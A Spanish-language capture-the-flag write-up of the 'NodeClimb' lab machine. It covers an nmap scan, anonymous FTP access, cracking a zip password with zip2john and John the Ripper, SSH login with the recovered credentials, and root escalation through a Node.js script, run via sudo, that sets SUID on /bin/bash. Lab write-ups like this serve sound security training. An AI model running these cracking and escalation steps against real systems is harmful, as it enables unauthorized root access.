> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/nodeclimb-write-up.md).

# NodeClimb write-up

## **Verificamos si hay conexión con la máquina víctima**

![](/files/LW1j2IVdKWUoKwibuJTH)

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos la herramienta **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/uWF4P0aPy2izjSttNWBB" alt=""><figcaption></figcaption></figure>

Esto indica que el puerto 21 (FTP) y el 22 (SSH) están abiertos, además, el servicio FTP permite autenticación anónima, por lo que podemos iniciar sesión sin contraseña, para hacerlo solo hay que poner como usuario `anonymous` y no poner ninguna contraseña.

<figure><img src="/files/izGktxGt74a8eUXm9QVr" alt=""><figcaption></figcaption></figure>

Después de iniciar sesión, ejecutamos el comando `ls` y encontramos un archivo con la extensión `.zip`, el cual descargamos con el siguiente comando:

```bash
get secretitopicaron.zip
```

<figure><img src="/files/xgF94EOcQchVObtQi0zQ" alt=""><figcaption></figcaption></figure>

Sin embargo, al intentar abrirlo, nos pide una contraseña. Para obtenerla, usaremos la herramienta **zip2john**, que extrae el hash de la contraseña en formato `PKZIP`. Para hacerlo solo tenemos que usar este comando:

```bash
zip2john secretitopicaron.zip > hash.txt
```

<figure><img src="/files/KEkBK9djvE1RQ2qTDxfd" alt=""><figcaption></figcaption></figure>

Ahora, debemos limpiar el archivo `hash.txt`, dejando únicamente el hash de modo que solo quede lo siguiente:

```plaintext
$pkzip$1*2*2*0*34*28*59d5d024*0*46*0*34*4c03*ca77f2799f1414311ed5431ae8e9c6a1220f40fa3854acef077a9a0510124d4397da4f21d34e3002081b01c2a37d545d419c470a*$/pkzip$ 
```

<figure><img src="/files/cxJ8aCmKkdhNCGHovk0u" alt=""><figcaption></figcaption></figure>

A continuación, usaremos **John The Ripper** para realizar un ataque de fuerza bruta con el siguiente comando:

```bash
john --format=PKZIP --wordlist=/home/shinki/Escritorio/rockyou.txt hash.txt 
```

<figure><img src="/files/hwqdCQE6SGSqXb24wJv4" alt=""><figcaption></figcaption></figure>

Esto nos revela que la contraseña del archivo ZIP es `password1`. Así que la ingresamos y descomprimimos el archivo `password.txt` que contiene las credenciales del usuario `mario` con la contraseña `laKontraseñAmasmalotaHdelbarrioH`.

<figure><img src="/files/0FKpRYwuTbhUf3IJ4PtB" alt=""><figcaption></figcaption></figure>

Así que iniciamos sesión en el servicio SSH con esas credenciales.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l` que indica que podemos ejecutar como cualquier usuario y sin necesidad de ninguna contraseña el binario `node` y un el fichero `/home/mario/script.js` que esta vacío. Por lo tanto, vamos a insertar en ese archivo un código en JavaScript que otorgue permisos SUID al binario bash después de ejecutarlo como root con `node`. El código que pondremos es el siguiente:

```js
const { exec } = require('child_process');

// Ruta al binario bash (generalmente /bin/bash o /usr/bin/bash)
const bashPath = '/bin/bash';

// Comando para otorgar permisos SUID a bash
const command = `chmod u+s ${bashPath}`;

// Ejecutar el comando
exec(command, (error, stdout, stderr) => {
  if (error) {
    console.error(`Error: ${error.message}`);
    return;
  }
  if (stderr) {
    console.error(`Stderr: ${stderr}`);
    return;
  }
  console.log(`Permisos SUID otorgados a ${bashPath}`);
});
```

Ahora lo ejecutamos con el siguiente comando:

```bash
sudo /usr/bin/node /home/mario/script.js
```

Finalmente, ejecutamos `bash -p` obtendríamos una shell con privilegios root.

<figure><img src="/files/AoZ83y3YSDRSsMqBU3Lh" alt=""><figcaption></figcaption></figure>
